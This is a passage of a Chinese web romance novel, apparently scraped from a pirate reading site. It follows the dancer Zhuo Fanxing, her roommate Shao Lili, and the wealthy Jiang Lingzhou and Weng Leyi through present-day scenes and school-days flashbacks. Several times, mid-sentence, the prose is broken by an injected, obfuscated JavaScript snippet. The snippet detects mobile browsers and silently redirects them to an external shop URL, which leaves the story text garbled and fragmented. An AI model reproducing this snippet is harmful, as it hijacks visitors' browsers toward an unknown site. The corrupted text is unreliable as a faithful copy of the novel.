出了林荫小道又开了五百米,到了公交站台。车子停稳,小王下车给她开门。卓繁星道谢后,攥着纸巾,还是开口:“能不能拜托你不要说碰见过我。” 如果先前还在怀疑,那此刻翁乐仪已经确认——她遇见凌州了。 “好。”他应的迅速。 卓繁星松了口气,下车离开。 汽车在下一个路口掉头,翁乐仪转头看见公交站台上,她一个人坐着,像一只淋湿的猫。 洪栋梁是上世纪80年代公派出国的留学生,少年得志,后来在普林斯顿任职,专攻材料学领域,是这方面的大拿。 翁乐仪的爷爷与他有过提携之恩,当年他偏科厉害,年纪又小,若非翁先生力排众议,他便不会被清大少年班录取。也许以后仍是有大前程,可毕竟要蹉跎数年。如此一来,逢年过节,他总不忘让人去给翁家备一份礼。此番回国,也是应翁家邀请,在其中牵线。 陈女士在厨房“挥斥方遒”,其实不过是看看菜品新不新鲜,摆盘好不好看。专业的团队自然不至于在这些地方出纰漏,可是陈女士除了这儿又还能在哪儿找到女主人的感觉呢。 女学生轻步进来。洪教授回来时一并将实验室的几个小朋友一起带了来。 “师母,需要我帮忙吗?”女学生乖乖巧巧,叫陈女士非常受用。哪像丈夫的侄女,鼻孔朝天,根本不将她放在眼里。 丈夫想为她和翁家的男孩子牵线。翁家,她一听那是不得了的咯,结果一见,就是个瘸子。 大小姐眼高于顶。分明是一双眼睛全部落在洪旺带来的那个朋友身上。 翁乐仪早先听爷爷提过这桩事。说洪栋梁有个侄女,在藤校读书,现在回国工作,年龄与他相仿,可以接触接触。 他抽空避出来,只怕两家大人要失望了。 方才客厅中,洪栋梁仔细介绍一番,这位女士穿着一袭淡粉色长裙,靠着洪栋梁坐,举着酒杯,二人都觉无意。 转角处二人还在纠缠。 翁乐仪被堵在此处,有些无奈地看了眼窗外的雨。玻璃窗上一颗水珠划出一段常常的痕迹,像是在旅行。他愿称之为一颗水珠的旅行。太过无聊,短暂的放空让他想到公交站那只淋雨的猫。 身后的纠缠,唇齿研磨,发出啧啧水声。 “林小姐没跟你回来?还是你也厌倦了她,把她甩了?” “Arthur。” 女人发出不满的声音。 好在蒋凌州知道这是什么地方,没有叫翁乐仪真的听一场活春宫。 高跟鞋远去,蒋凌州吸着烟走出来,看到翁乐仪并不多么惊讶。 “收敛点吧。”翁乐仪对他在国外这些年的风流逸事多有耳闻,只是没想到他还和洪栋梁的侄女有过交往。 蒋凌州笑了笑,一只手插在口袋中,撇开衣摆,同他一样看着窗外。 “你来Y市做什么?” “谁知道呢,无聊吧。” “来见这位洪小姐?” 蒋凌州听出几分戏谑来,回过去:“如果我没记错,洪家有意将她介绍给你。” “我没有和兄弟抢女人的爱好。” 蒋凌州喷笑,在他肩头拍了拍,转身往洗手间去。 翁乐仪再回去,这位洪小姐早已离开。 宴会结束,蒋凌州坐上他的车,要他把他送到半岛酒店。 “不是希尔顿?” 蒋凌州瞪了他一眼。脚上踩到一只柔软的东西,他捡起来,是一只鹅黄色的星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067311|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星玩偶,还坠着一张芯片卡。 “你的?”他将它丢到一旁,灯影划过的侧脸十分冷峻。 回到酒店,蒋凌州扔下外套,高层套房的落地窗外是Y城市中心的夜景,霓虹闪烁。可见识过纽约的繁华,这些景象便不算什么。还不够浮华,那种醉生梦死,酒池肉林,非常人可以想象。欲望不必隐藏,无需包裹在叫人的这层皮囊里。 回国不过几周,他就开始厌烦。或许老太太寿宴结束,他就该立刻飞回去。 手机上许多信息,他略过后,联系助理薛明。 “查一下卓繁星的住址信息。” 那边很快回复,还有一条消息。 “今天是林小姐的生日。” 如果按照时差,那边刚刚清晨。 “让珍妮安排。” “我等下跟她联系。” 薛明果断将信息发给珍妮,对于老板刚刚的表现,他可以肯定他将这件事忘了。这并不在他意料之外。并非他想八卦老板的私生活,只是难免腹诽,他实在看不懂他对女友的态度。 他似乎对她的一切都不放在心上,她的喜好、行踪、包括生日。可是自林小姐出现后,他就只有她一个女友,他们的恋情持续了四年,已然超出所有人预料,京市家中定也有所听闻。 美国纽约 珍妮在收到薛明的信息后就去了第五大道,她在这件事上驾轻就熟,无论是情人节、感恩节、圣诞节还是这位小姐的生日。 她桌上的日历本在这一天画了个红圈,如无意外,那位小姐已经收到了花。至于贺卡,她实在无法编写出那些肉麻的情话,这实在不是老板的风格。 洁白的玫瑰被包裹在黄色的牛皮纸中,墨绿色的丝带柔软高贵,没有人能拒绝它的美丽。 然而林灿除外,收到它的时候,若非同事艳羡的眼光,她都不会闻一闻。她将卡片打开,快速扫了一眼后就放进了包里。 MissLin有个英俊富有的男友,这在舞团里并不是一件秘密。只是她的男友回了中国,短期内似乎不会回来,所以她有时看起来格外的孤单。 她肯定非常想念他。同事们都这样想。 既然生日无法与男友共度,林灿索性跟同事们去了曼哈顿附近的酒吧。 她对这种地方不算陌生,以前做过兼职,只是和蒋凌洲在一起后,已经很少涉足。 她安静坐在卡座上,手里拿着啤酒。 “嘿,你怎么了?”同事问她。 “没事。”她和对方碰了杯,加入她们的谈话。 她的手机始终安静,让她怀疑是不是静了音。 “Lin,跳舞吗?”过了一会儿,同事对她发起邀请。 她厌恶极了自己盯着手机的动作,把手机放在桌上,拉住同事的手一起跑进了舞池。 灰色的紧身吊带勾勒出她丰盈的胸-部和纤细的腰肢,披在身后的长发像海藻一样浓密,它们随着她的姿势舞动,在空中划过美丽而性感的弧线。 即便这样,她的脑子还是冷静而清醒着。 蒋凌洲现在在干什么? 他找到画上的少女了吗? 那副画,那个跳着舞的少女。 那是她吧 可为什么不送给她呢。 8. 第 8 章 卓繁星回到家中,门禁卡掉了,跟在别的住户身后进的门。 她感到十分疲惫。哎,估计是掉在公交车上了。那怎么办,只能去跟物业讲,叫她帮忙补一张。 她晚饭忘记买了。算了,反正也没胃口。啊,可是不吃也不行,好像还有香蕉,吃一根吧。 就这么胡思乱想地推开门,邵丽丽坐在地毯上,小桌子上开了一瓶白酒。她撑着头,手上夹着一支香烟。 卓繁星不喜欢烟味,没有理会她,跑到厨房间倒了一杯水。 她陷入一种烦躁的状态。既为自己如今还受影响而感到气恼,又觉得自己分外胆小。可是她不该胆小么,以前吃的教训还不够么。 她能做的就是跑开躲开。 邵丽丽摇摇晃晃地走过来,倚在厨房门上。 “我们说好了不在公共空间抽烟。”卓繁星在她开口前提醒她。 “噢。”她看了眼手里还燃着的香烟,不知道想到了什么,抬起头来却是说:“那又怎样?” “开窗不就好了?” “穷讲究。” 卓繁星推开她,爬楼梯上去。 她仰着头喋喋不休:“干嘛?生气啦。我知道你看不起我的,那就不要装样子呀,我都替你累。虚伪不虚伪。你看不惯早就好搬出去了呀......” 门砰的合上,又很快打开。卓繁星冒出一个脑袋吼道:“凭什么我要搬出去,你不好搬出去么。合租是不是有约法三章,为什么不遵守,既然不能遵守为什么要答应。你自己心情不好,关我什么事?” 她一顿输出,邵丽丽晃了两下身子。“说什么?听不见。” “骂人声音不会响点啊。” 卓繁星生气地蹲在楼梯上,眼睛里冒出泪花儿。蒋凌州和洪家大少爷认识,以后会不会经常上门,要是又撞见了怎么办?要是就来这么一次,她就把兼职辞了会不会太亏了,直接辞掉对何姐也不好交代吧。 “好啦,我把香烟熄了。还要开窗是不是?” 楼下传来邵丽丽咕咕哝哝的声音,她不知道撞到哪儿了,哇的一声叫出来。 卓繁星跑下去,她捂着小腿,卓繁星看着就疼。 短裙下的腿上一大块乌青,有些地方破了皮结了血痂。她这才注意到她手臂上也有,红的拖拽痕,还有被指甲挠出来的。 “你出去打架啦?” “我去找那个王八蛋,死三八叫人把我丢出来哎。他一声都不响!”邵丽丽想到今天叫人四仰八叉地抬着出来,还不晓得被哪个保安占了便宜,摸了屁股和胸。 “你报警了没?” “他们说我没有访客证,是窃取商业机密,影响他们公司正常运营,他们没报警都算好的嘞。” “你干嘛跑他们公司去?” “我又没去大门口,我找不到人呀,在停车场蹲着,看他车子来我就冲上去了呀。这样还说我窃取商业机密,他们商业机密在地下停车场哦。搞笑,一个做宠物用品的有什么商业机密,都是他们抄别人的好不好。” 卓繁星没忍住笑出来。她算是发觉了邵丽丽智商不怎么高的样子。 “你笑什么啦?看见我被打很高兴吗?我就抽个烟,喝个酒。今天这么倒霉,叫我发泄一下怎么了?你倒好,一回来就甩脸子。” 邵丽丽悲从心起,眼泪一大颗一大颗地落。 “你别当我不知道,你姿态高的很,眼睛看我都是这样看的。”她摆了个鼻孔朝天的样子。“不就是学跳舞的么,家里条件好点不。我要是有你这样的条件,也这样看人。” “我17岁就出来打工了,我爹高中都不叫我读完。不过我也不想读。可是现在我说出去还是不够体面,起码要有个大专是不是。领出去,别人也要问的,你这个小姑娘是哪里毕业的呀?然后我就不好回答了。长得漂亮还不够,还要拿得出手。” 她自说自话。“贱男和她老婆是大学同学,她老婆家里有钱,他那个厂全是他岳父投的。他就是个凤凰男。” “我早该发现的呀。就是见识太少,被骗了呀。” 她哭出声来:“亏大了。” 悲从心起,难得还有人分享,邵丽丽酒意上来,彻底开始发疯。 接下来,卓繁星见识了她裹着毛毯当皮草,脚踩沙发露深V,把她当奢侈品店的SA,摘虚空墨镜趾高气昂要Birkin。最后终于安静了,倒沙发上醉死过去。 卓繁星在她身边坐下,发觉自己可能也需要喝一点酒。她跑到厨房拿了一只杯子,倒了小半杯。 她不喜欢这么辣的味道,可是气氛都烘托到这里了,不喝一点说不过去。回到房间也不会睡得着。 她拖了一只椅子在阳台,蜷着腿抱着杯子,慢慢喝。 她感觉热气很快从胃里涌上来,像一锅加热的水,正在咕嘟嘟冒泡泡。她贴了贴脸颊,果然烫呼呼的。 人这一生应该总会有那么一些让自己后悔的事。 回想起来,每当夜深人静,陷入沉思的时候,总忍不住去想,要是那个时候不那样就好了。 总会有那样的事吧。 卓繁星想,反正她就有。 她想要是自己没有在那一天答应和蒋凌州在一起就好了。 或许再早点,不要去找灵均,这个笨蛋害惨了她。 她又一次提起来,且坚定万分。“我想把我的心意和他说哎,再不说就没机会啦,他马上要出国了。” 彼时蒋凌州已经收到斯坦福的offer,即将赴美。而姚灵均从初一第一次见他,已经暗恋了整整五年。 卓繁星不知道又是哪本言情小说给了她勇气。还是袁湘琴余毒不浅,可蒋凌州绝对不会是江直树。他每次看她的时候都有一种应付都不想应付的感觉。或者是,这个人怎么会出现在我的视线中。那必然不是他的缘故,只能是姚灵均走错了道,碍眼。 卓繁星劝啊劝,劝不动。后来逐渐麻木,因为灵均虽然满脑子粉色泡泡,像极了袁湘琴,但绝对没有她的胆量。这或许就是她成为不了袁湘琴的缘故吧。 幸好,幸好。她根本不希望她在蒋凌州这堵南墙上撞的头破血流。还是维持住她的幻想吧。 反正蒋凌州马上就要离开了。 所以她在练舞室里听见刘清华和许筠聊天的时候才会那么震惊。 “有人约蒋凌州到篮球馆后面表白。咱们一起去看看呗。” “谁啊?”吴梦云十分好奇。 “不知道,用的小号。” “他也是,什么人都加。”这个声音是许筠的。然后又问:“他要去?” 刘清华说:“他才懒得去。是陈跃看见的,当时一道在网吧打游戏,看见他□□弹出来的消息。他不去,咱们去看个乐子。说不定还是咱们认识的人。” 卓繁星打灵均的电话打不通。 卓繁星都不知道要是灵均和他们撞到,会不会羞愤欲死。陈跃那张嘴,她在日本就领教过。她可是额头长痘之后就要留刘海,不肯见人的姑娘。 卓繁星急匆匆赶到篮球馆,希望能来得及带她离开。 她没看见她,却被赶来的许筠他们碰个正着。 “繁星?”卓繁星听见身后惊讶的叫声。“是你约的凌州。” 吴梦云作为挤掉卓繁星成为许筠头号闺蜜的人,果断站出来打抱不平。“你真的喜欢蒋凌州啊。真可怕,你明明知道许筠喜欢他。” “那天生日会上,你说在场的有你喜欢的人就是说给他听的吧。好阴险啊。” “果然网上说防火防盗防闺蜜,许筠我们走,以后别和她好了。亏你以前还帮她说好话。” 卓繁星事后联系上姚灵均,她奇怪的很。“你给我打这么多电话干嘛?我和林雪在网吧呢,你别跟我妈说漏了,我和她说我在图书馆写作业。” 卓繁星到现在都不知道那个告白的人是谁。 这之后,她和许筠之间的关系越来越难维系。 她们的友谊就像一只烂苹果。 一开始就摔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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高一的时候,卓繁星被选上官媒的一档舞蹈节目录制。那是一段独舞,制片人看中了她。她还来不及雀跃,很快就被告知换了人选。 年轻的排舞老师不好意思面对她,告诉她下次还有机会。 卓繁星安慰她没关系,她明白的。 舅妈一点也不高兴。她都听见了,她和舅舅他们说的话。“她选上了,许筠落选了。你说我怎么好在她面前笑。她说我家里有喜事,就是在点我咯。灿灿也真是,叫我为难。随便一个节目,让让么好了。” 不用她操心,许妈妈怎么会让宝贝女儿受委屈。自然要打招呼的。 卓繁星就这么被顺利地换下来了。 皆大欢喜。 可刺已经埋下了呀。 她吃吃笑起来,好像真的喝醉了。眼睛里晶莹剔透,蓄了好多眼泪。 手机上的消息发过来。“你约的我?” 卓繁星拧着眉,想了想还是回道:“不是我,是误会。” “没关系。你要不要和我在一起。” 许筠的眼泪,刘清华的不屑,吴梦云的嘲讽汇聚在一起,被卓繁星扔到黑色的锅里搅啊搅。 里面沸腾的黑色泡泡在说: 【让你们看不起我。】 【你们才是一群混蛋,一群高高在上的混蛋。】 【谁让你们看别人表白的。不知道什么是隐私么,懂不懂尊重两个字怎么写。】 【啊,比老鼠都讨厌的东西。你们是许筠的跟屁虫么。】 【蒋凌州喜欢我,别以为我不知道。我早就知道了,可他的喜欢不值钱。我一点都不喜欢他,我讨厌他。】 “哦。” 她打字回过去,扔掉手机。 她把毒药熬好啦。 卓繁星从影子变成了女巫。然后就是另一个故事了。 9. 第 9 章 邵丽丽买的最便宜的白酒,劣酒害人,卓繁星醒过来就觉得头痛欲裂,像是吴刚在她脑子里砍树一样——嘣嘣嘣。 她看着镜子里苍白的一张脸,眼睛浮肿还挂着两个大大的眼袋和乌青。 半边身子和瘫掉了一样。一晚上就窝在一把小椅子上,她不难受谁难受。 她洗了个澡。头还是发昏,想了想给乔诗晴发了信息,那边很快回过来。 【你也太临时了吧,不是我不愿意哦,你总要提前一天跟我说吧。我今天约了人吃饭的。】 【抱歉啊。我上次给你代了两节课,我今天就一节,你帮我代过去,上次调课就算了好不。】 等了十分钟,那边回过来。【好吧。下次不要这样哦。】 【嗯嗯。】 卓繁星发了个兔子比心,把手机一丢,往床上一躺。过会儿又翻了个身。 睡也睡不着。今天不出门,可以把家里收拾一下。啊,对,还要和物业说一声,她的门禁卡掉了。 她抢来的星星人,还没玩几次。卓繁星挪着沉重的屁股,蹲到衣柜前。衣柜下面塞满了娃娃。 她把一只蜜蜂小狗在自己脸上贴了贴。 “在逃公主,你太可爱了。” “Anna,我给你新买的娃衣你喜欢吗?妈妈很喜欢哦。这个月就这样吧,下个月再给你买新衣服。” “嗯,看情况吧。” 她撅着屁股,把小乌云掏出来。“今天你就跟着妈妈吧,妈妈现在很需要你,” 小乌云憋着嘴被挎在主人身上。 卓繁星游魂一样下了楼。她要把家里收拾一下。 桌上的酒瓶扔掉。杯子扔掉。里面有湮掉的烟头,泡了一个晚上都成汤了——好恶心。 地毯上脏兮兮的,落了香烟灰。 她要杀了邵丽丽。 遥远的邵丽丽莫名其妙打了个喷嚏。 经纪人杰米看了她一眼:“你感冒啦?” “没有啊。”她揉了揉鼻子。 “我跟你讲你最近少折腾,安生一点,那边不要再去找了。” “杰米哥,那你赶紧给我安排工作吧。不然我要饿死了呀。” “我是不是早说叫你不要把鸡蛋放一个篮子里。谁叫你不听我的,眼皮子那么浅。那个男的我只要刮一眼就知道,没什么花头的呀,就是骗骗你这种小姑娘。”杰米把眼镜摘下来擦了擦,自己新买的Dior镜框,老有型了。 骚包。邵丽丽小小翻了个白眼。“反正你帮我留意啊。” “你当还是先前啊。身体养好了没?不要闹出人命来哦。不对,人命已经出了呀。”他看她脸色难看,没再讲。“好啦,事情都出了,有什么办法。别去想了。” “改个名字吧。万一就转运了呢。” 邵丽丽回来的时候,卓繁星已经把家里打扫的干干净净。人还是蔫蔫的,缩在昨天晚上那只椅子上。 她刚接到卓强打来的电话,先是问了两句工作忙不忙,身体怎么样,兜兜转转终于问了赵医生的情况。 “小赵很热心,是个很踏实的人。” “他给你发消息了没?摘了一框柿子,他亲自爬上去摘的,说给你送过去。” 繁星说知道了,他说了。 “灿灿啊,他条件挺好的,就是年纪稍微大了点,不过也才六岁,这样成熟有担当,能照顾好你。” “他知不知道我的情况啊。”她因为晒太阳,人也懒懒的,声音轻轻的,叫卓强听不出来她是不是生气了。 “他是医生,不会介意的。当时做手术的时候,医生不是也说休养好了就是正常人呀。你不要有什么负担。好好考虑考虑,爸爸就是希望你好好的。” “你为什么不直接讲呢,要我讲。” “爸爸......” “知道了,我挂了。”卓繁星扔掉手机,把小乌云抓到手上捏啊捏。 “是不是觉得先培养出感情了再讲那边就会接受了呀。一开始就提出来万一就黄了呢。这么好的金龟婿过了这个村可就没那个店了。” “嘴巴上讲没关系,其实就是有关系啊。” 邵丽丽欢天喜地地回来,拎着一盒菠萝蜜和一只大榴莲。 “你没去上班呀。”她换了拖鞋走过来。“乖乖,你是田螺姑娘吧。” 卓繁星没理她。她屁颠颠地跑过来,把大榴莲往她怀里放。“美女辛苦了,来来来,孝敬你的。” “我还从我老板那里搜刮到两只口红,香奶奶的唇釉,来,我们一人一支。” 她从包包里掏出来给她。卓繁星说不要。 “代购都要300多,为啥不要。颜色很好看的。” “你不会是病了吧。”她在她苍白的脸上看了看。“是不是感冒了?” 卓繁星摇头,声音变软了。“口红你拿回去吧,我不用。” “我特地给你拿的。你也知道的,我最近穷的吃土。你帮我好多,早该谢谢你啦,一根口红怎么够。昨天晚上也不好意思啊,我喝多了,下次不在家里抽烟啦。” “你不拿我更加不好意思了。” “我跟你讲,我今天去找我老板了,我马上就有工作了。” 卓繁星问:“你身体没问题了?” 她撇撇嘴。“没钱我问题更大。” “我老板还要给我改名字。问我要生辰八字,说要找个大师给我算一算。生辰八字,拜托,我爹连我几岁都不知道,不知道这样算出来准不准,不要把我运道改坏了。” 她噗嗤一笑。“再坏能有现在坏。随他去啦。” 卓繁星担心洪家的兼职,结果到了晚上,Amy突然发消息过来,说夫人要带着Bella去望月岛上玩几天,下周一才回来。 卓繁星大大松了口气。 ...... Y城滨海,望月岛是城市最富盛名的景观,主要是因为岛上的宝华寺。它是江南一带的名寺,历史悠久,每年来这里拜佛的人都特别多。有说寺里求子求姻缘特别灵验。如今年轻人喜欢拜佛,有事没事烧柱香,前段时间黄金周,乌泱泱人挤人,好吓人。 好在现在人已经少了很多。前两天下了雨,岛上植被丰富,空气清新,相应的,温度也低一些。 陈女士看着前面贴在蒋凌州旁边的洪巧儿。她衣服上披的就是他的外套哎。 真家伙,这小娘皮厉害的哦。男人叫她钓去了呀。 她那天晚上就问过丈夫了。这个年轻人不得了,比起翁家半点不差。 他和翁家的孩子是表亲,祖上有从政的背景,爷爷是厉害的经济学家,家产不得了的多。他自己在美国做对冲基金,年纪轻轻手上就管着千亿的生意了。你说厉害不厉害啦。难怪眼高于顶的洪巧儿这么上头。要是她再年轻十岁,也要试一试的呀。 “老公,你看巧儿和那个男孩子好的咧。”她挽着身盼丈夫的手撒娇道。 丈夫叹气。“我看还是乐仪合适一些。” 她懂他意思,那个人一看就是花花头。洪巧儿管不住的啦。 “喜欢一个人哪里控制得住呀,就和我一样,当时那么多人追我,可我就爱上你了呀,一颗心扑在你身上,扒都扒不下来。” 洪栋梁叫她哄的眉开眼笑,乐呵呵地说:“我知道,我知道。” “我还想给你生个孩子,Bella一直想要个弟弟陪她。” “生,生。” 陈女士抱着他胳膊一脸甜蜜。佛祖在上,她心诚的很,要是一举得男,马上来捐一万块哦。 这厢拜完佛,几人回了酒店。去的时候加上司机保镖十个人,回来只剩了七个人。 洪巧儿脸色难看,一下车就往酒店里冲。 “巧儿不吃晚饭啦?”陈女士在后面关心。“哎,我一会儿叫Amy给她送到房间里去。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067313|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 洪旺慢悠悠走在旁边。“阿姨不用操心,有客房服务,叫酒店的人送去就好了。” “哦哦,还是要去看一看她的,万一哪里不舒服,等下我过去一趟。” “我先去看看Bella。” 她走的很快,实在是等不及要和Amy分享。“你是没看见,洪巧儿脸色难看的哦。那个男孩子说走就走啦。她追在后面,人家理都不理她。” “我还以为她已经把人钓到了,结果弄了半天人家根本没当回事呀,披衣衫只是绅士风度。” 她在Amy的服侍下把高跟鞋脱了,转了转酸疼的脚踝。“也不晓得什么事,进了月老庙,出来脸色就难看起来,说要走。” “讲起来,我也求了,说我明年就要生儿子了。” “Bella,对,Bella乖不乖?午觉睡了没?” Amy无奈看了她一眼,你终于想起你女儿了啊。 “Bella很乖,下午和翁先生在一起。今天多亏了他......” “翁先生?前天来的那个瘸子?哦哟,他会带小孩的啊。他什么时候说要来的。” 陈女士急急忙忙赶到酒店特别提供的儿童娱乐房,就看到穿着蓬蓬裙的女儿坐在地毯上“炒菜”。 旁边坐在沙发上的男人,一张面孔要多清俊有多清俊,听说家里有外国血统,脸比她的都小,身上简简单单一条棉质的罗纹套头衫,也穿的格外有型。现在一只手抱着一只玩具婴儿,一只手拿着一本漫画书。 “Lily醒了吗?”女儿问。 “还在睡。”男人动也不动,好听的声音传出来。 “还不醒?已经四点啦,再睡下去晚上要睡不着的。”她看了一眼自己的手表,认真道。 “Daddy把她叫醒吧。我的饭已经烧好了。”她举着小铲子。 “四点吃饭会不会太早了。” “她可以先喝neinei。那Daddy先吃饭吧,不然菜要冷掉啦。” 她趴过去,还怪体贴的,如果忽略掉扒开“婴儿”眼睛的小手的话。 翁乐仪陪她玩这个游戏已经有一个钟头了,从早上起床穿衣服吃早饭,再到吃中饭哄孩子睡觉,现在发展到吃晚饭。 “Daddy吃饭。” 他接过她递过来“炒了”好几遍的小猪饼干。 陈女士已经跑过来。“Bella!哎呀,真是不好意思翁先生,叫你带着她。” 翁乐仪合上书,说:“您客气了,Bella很乖。” “妈咪。哥哥还带我弹钢琴。我跳舞给他看了哦,他夸我跳的好呢。” 翁乐仪配合的点头。 洪旺走过来,告知蒋凌州离开了。“我们晚上回城吧。”他建议道。本来是想着带蒋凌州玩,结果他人先跑了,那还有什么意思。对着他老爸和继母?算了吧,他还是不打扰他们了。 翁乐仪对在岛上也不感兴趣,点头说好。 “哥哥要走了吗?” Bella明显舍不得他。翁乐仪摸了摸她脑袋。“是这样的。我捡到的东西就拜托你啦。” “嗯嗯。”她坚定地点头。 “什么东西?”陈女士奇怪地问。 “卓老师掉的卡啦,我已经给Amy了,回去了就可以还给老师啦。” 翁乐仪这次返京处理完一些工作后便要常驻Y市,住的公寓那天去看还有很多不方便的地方。他想等下回去可以一并提出来交给安杰,下次过来时能够都改好。 他随着洪旺离开,问道:“凌州怎么先走了?” “我也不知道。进了月老庙求完签出来就说要走。我看他是桃花债压身,月老见他发愁。” 翁乐仪皱眉。 司机已经过来开车门。 “一道去吃海鲜吧,码头那边有个馆子很地道。” 翁乐仪晃了下神答应了。 10. 第 10 章 因为老板的决定太过突然,薛明只订到了凌晨的机票。 从码头到机场,一路上蒋凌洲除了接了几个电话,便一言不发。保镖Tom跟了他多年,察言观色的本事自然不弱,可也不明白是为了什么。 月老祠?可他也不信这些呀。 他是丈二和尚摸不着头脑,坐在副驾驶上,偶尔往后打量。后窗落了一条缝,蒋凌洲手里夹着根烟,眼睛看着窗外,薄唇紧抿,一副生人勿进的模样。 等红灯的时候,街边麦当劳,一个姑娘坐在窗边,吃着汉堡,面前托盘里还有一堆食物。她没有看手机,而是盯着窗外的车流,好像盯着一快硕大的屏幕。 蒋凌州注视着这一幕,想起了卓繁星。 她把许筠送的吊饰卖给了中古店,然后也是这样,坐在麦当劳面对大街的位置,吃着套餐,很多的东西,和她的身材看起来很不匹配。 他看见她先吃了一个汉堡,随后是两个蛋挞,解决完炸鸡薯条后,又去拿了一个蛋筒。 陈跃说:“看不出来,她可真能吃。不过那个budy小狗少说三五千,她就吃这个。” 他们在CBD三层,一样靠窗的位置,好巧不巧,看下去就是。 卓繁星在吃汉堡的时候还有很满足的愉悦感。咬第一口的时候低下头很认真地看了一遍手里的东西,似乎在说怎么会这么好吃,吃完的时候明显的意犹未尽。不过并没有太失落,因为她马上拿起了蛋挞。之后小动作就多起来。 看看四周,看看窗外,又去看托盘上的垫纸。 接着一个不经意地抬头,看见了他们。 她脸上的惊慌一闪而逝,很快就走了。 蒋凌州把那只吊饰买回来还给许筠。这是他们在意大利度假的时候,她跟在两个妈妈后面买的配货。 他之所以印象深刻不过是因为在酒店的时候,她在一堆橙黄色的盒子里挑挑拣拣,时不时还要询问他的意见。 很重视的样子。 他知道了卓繁星的生日。 很好记。因为就是平安夜。 她最后拎着两只贵宾狗问他哪个好。他已经没有什么耐心,随手指了一只。 刘清华说:“白瞎了你的一番心意。” 许筠说:“算了。”模样并不怎么难过,只是初初有些惊愕。 出国前她刚刚参与了一档官媒节目的录制,终于要播出啦。她有些紧张又有些兴奋,告诉他们周末晚上九点就能看到了。 刘清华说:“你不生气啊?” “不生气啊。反正都送给她了,她怎么处理都是她的自由。” 许筠浑不在意。刘清华叹气。“你就是太好说话啦。她这样的人功利心特别重,别对她这么好了。” 如果事情只到这里或许很快就会被遗忘。许筠的节目,约好的球赛远比这件事要抓人眼球。 可之后那只小狗在卓繁星的换衣包上晃荡。 他们接二连三的看见了,像一串只有他们知道的密码,让人会心一笑。 那是心照不宣的鄙夷。 这个姑娘不仅功利还很虚荣。她脑袋上像贴着两个标签。奇怪的是她自己浑然不知,叫人不禁觉得可怜又好笑。 蒋凌州的手指轻轻颤抖。车子启动,将那个麦当劳姑娘甩在身后。 他一开始就不能接受她。动心的感觉很陌生,他还来不及明白,就下意识排斥。对失控的秩序和心跳,对控制不住的眼神追踪,还有代表一切失序的生理反应。 她让他想到西方的美杜莎,人首蛇身,被她凝视过的所有生物都会被石化。 那是一个下午。他的视线越过许筠,落在宽敞明亮的舞房中。 窗户是天然的画框,眼前的一切像是一幅油画,棕褐色的木质油漆地板和同色的练舞杆是背景点缀。少女席地而坐,抱腿俯身。小腿上套着白色的毛线袜。长发全部挽起,露出纤长脆弱的脖颈。她很安静,脸侧靠在膝盖上,像闭着眼睛凫水的天鹅。 “哎,你听见没有?” 她听见许筠的声音睁开眼,蒋凌州感觉到自己的心跳骤然乱了一拍,像他避开的眼睛。 回到家中,陈跃窝在他房间打游戏。一局结束,他抵着桌子转过来。“干嘛臭着张脸,谁惹你了?小爷我可是有好东西和你分享。别说兄弟不义气,头一个就想到你。” “你自己回去看,赶紧滚。” “别呀,我妈盯我盯得可紧了,你又不是不知道。咱先看,咱看完了心情指定就好了。” 门锁上,窗帘拉上。 很快,丰满的□□占据整个屏幕。 陈跃解开裤子拉链,气息急促。蒋凌州靠坐在沙发上,黑暗里,眼睛亮的吓人,就和天冷的时候冷悠悠的河一样。他事情没想通的时候就是这样。小学的时候,数学题想不明白,就是一副臭脸。直到题解出来,才松懈下来。 爷奶说他是驴脾气——犟。 可随着年龄渐长,这样的事就越发少了。 屏幕上场面激烈,裤子鼓起一只大包,蒋凌州的脸色越发难看,一下站起来,叫陈跃吓了一跳,险些交代掉。 他径直去了浴室,衣服在门口就脱了个精光,下面又硬又烫,像是在跟他耀武扬威。 生理反应不可耻。 他不是头一次看片,可发泄的时候从来没有代入过具体的人。那只是个影子。是被生理支配,虚化出来的幻想。它可以是任何女性。 这是第一次。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067314|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >冲刷在脸上的热水像是她颈上的汗珠。 思及此,他又可耻地应了。 陈跃敲了敲门,取笑欠揍的声音远远传进来,听不清。 他换好衣服出来,终于想起有关她的记忆来。 